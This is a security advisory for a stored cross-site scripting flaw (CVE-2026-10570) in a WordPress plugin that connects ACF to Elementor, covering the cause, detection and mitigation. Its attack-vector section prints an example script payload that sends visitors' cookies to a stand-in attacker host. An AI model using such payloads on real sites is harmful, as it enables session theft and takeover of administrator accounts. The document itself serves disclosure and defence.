CVE-2026-10570 Overview
CVE-2026-10570 is a stored Cross-Site Scripting (XSS) vulnerability in the Sympl Repeater for ACF and Elementor plugin for WordPress. The flaw affects all plugin versions up to and including 2.3. The vulnerability resides in the symp_arfe_replace_content() function, which uses str_replace() to substitute raw Advanced Custom Fields (ACF) values retrieved via get_field() directly into Elementor-rendered HTML without escaping. Authenticated attackers with Author-level access or higher can inject arbitrary JavaScript that executes when other users view the affected pages [CWE-79].
Critical Impact
Authenticated Author-level attackers can inject persistent JavaScript into WordPress pages, enabling session theft, credential harvesting, and administrative account takeover when privileged users visit compromised pages.
Affected Products
- Sympl Repeater for ACF and Elementor plugin for WordPress
- All versions up to and including 2.3
- WordPress sites using ACF repeater fields with Elementor rendering
Discovery Timeline
- 2026-07-08 - CVE-2026-10570 published to NVD
- 2026-07-08 - Last updated in NVD database
Technical Details for CVE-2026-10570
Vulnerability Analysis
The Sympl Repeater for ACF and Elementor plugin bridges the ACF repeater field type with the Elementor page builder. During page rendering, the plugin invokes symp_arfe_replace_content(), which iterates over ACF field values and replaces placeholder tokens in Elementor HTML output. The substitution uses PHP's str_replace() on raw values returned by get_field(), bypassing WordPress escaping helpers such as esc_html(), esc_attr(), or wp_kses_post(). Any HTML or JavaScript stored in the field is rendered verbatim in the browser.
Because authenticated users with Author privileges can create posts and populate ACF repeater fields, they can insert <script> tags or event handlers that execute in the browser context of every visitor, including administrators. This allows session cookie theft, forced administrative actions via CSRF, and further privilege escalation to full site takeover.
Root Cause
The root cause is missing output escaping. The plugin trusts ACF field values as safe HTML fragments and injects them directly into the DOM. WordPress documentation requires that all dynamic values entering HTML contexts be escaped at output time, and this control is absent in the affected code paths at lines 99 and 179 of sympl-repeater-for-acf-and-elementor.php.
Attack Vector
An authenticated attacker with Author role or higher creates or edits a post that renders through the vulnerable Elementor widget. The attacker sets an ACF repeater field value to a payload such as <script>fetch('//attacker.example/steal?c='+document.cookie)</script>. When any user visits the resulting page, the payload executes in their browser under the site origin. The scope-changed CVSS metric reflects that the injected script can act against resources beyond the vulnerable component, such as the WordPress admin session.
Detection Methods for CVE-2026-10570
Indicators of Compromise
- ACF field records containing <script>, onerror=, onload=, or javascript: substrings
- Unexpected outbound HTTP requests from browsers of administrators viewing pages built with the plugin
- New administrator accounts or modified user roles following visits to Author-created content
- Post revisions authored by low-privilege users containing HTML tags in ACF metadata
Detection Strategies
- Query the wp_postmeta table for ACF field values containing HTML or JavaScript syntax
- Review web server access logs for POST requests to admin-ajax.php and post.php from Author-level accounts followed by GET requests loading the same pages
- Monitor Elementor page output for reflected script content that does not match template definitions
- Deploy Content Security Policy reporting endpoints to capture script violations on plugin-rendered pages
Monitoring Recommendations
- Enable WordPress audit logging for post creation, post edits, and ACF field mutations by non-administrator users
- Alert on newly created posts by Author accounts that contain angle brackets or event handler attributes in metadata
- Track browser telemetry for anomalous fetch or XMLHttpRequest activity originating from the WordPress site domain
How to Mitigate CVE-2026-10570
Immediate Actions Required
- Deactivate the Sympl Repeater for ACF and Elementor plugin until a patched version is released and installed
- Audit all Author, Editor, and Contributor accounts and remove or restrict any that are not required
- Review ACF repeater field content across existing posts and remove any HTML or script payloads
- Rotate administrator credentials and invalidate active WordPress sessions if compromise is suspected
Patch Information
No fixed version was identified in the referenced advisory at publication. Consult the Wordfence Vulnerability Report and the WordPress Plugin Code Snippet for update status. Upgrade to any release later than 2.3 once available.
Workarounds
- Restrict post creation and editing capabilities to trusted Editor and Administrator accounts only
- Deploy a Web Application Firewall (WAF) rule to block requests containing script tags in ACF field parameters
- Apply a Content Security Policy header that disallows inline script execution on pages rendered by the plugin
- Replace the plugin with an alternative ACF-to-Elementor integration that performs output escaping
# Configuration example: Content Security Policy header in .htaccess
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; report-uri /csp-report-endpoint"
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
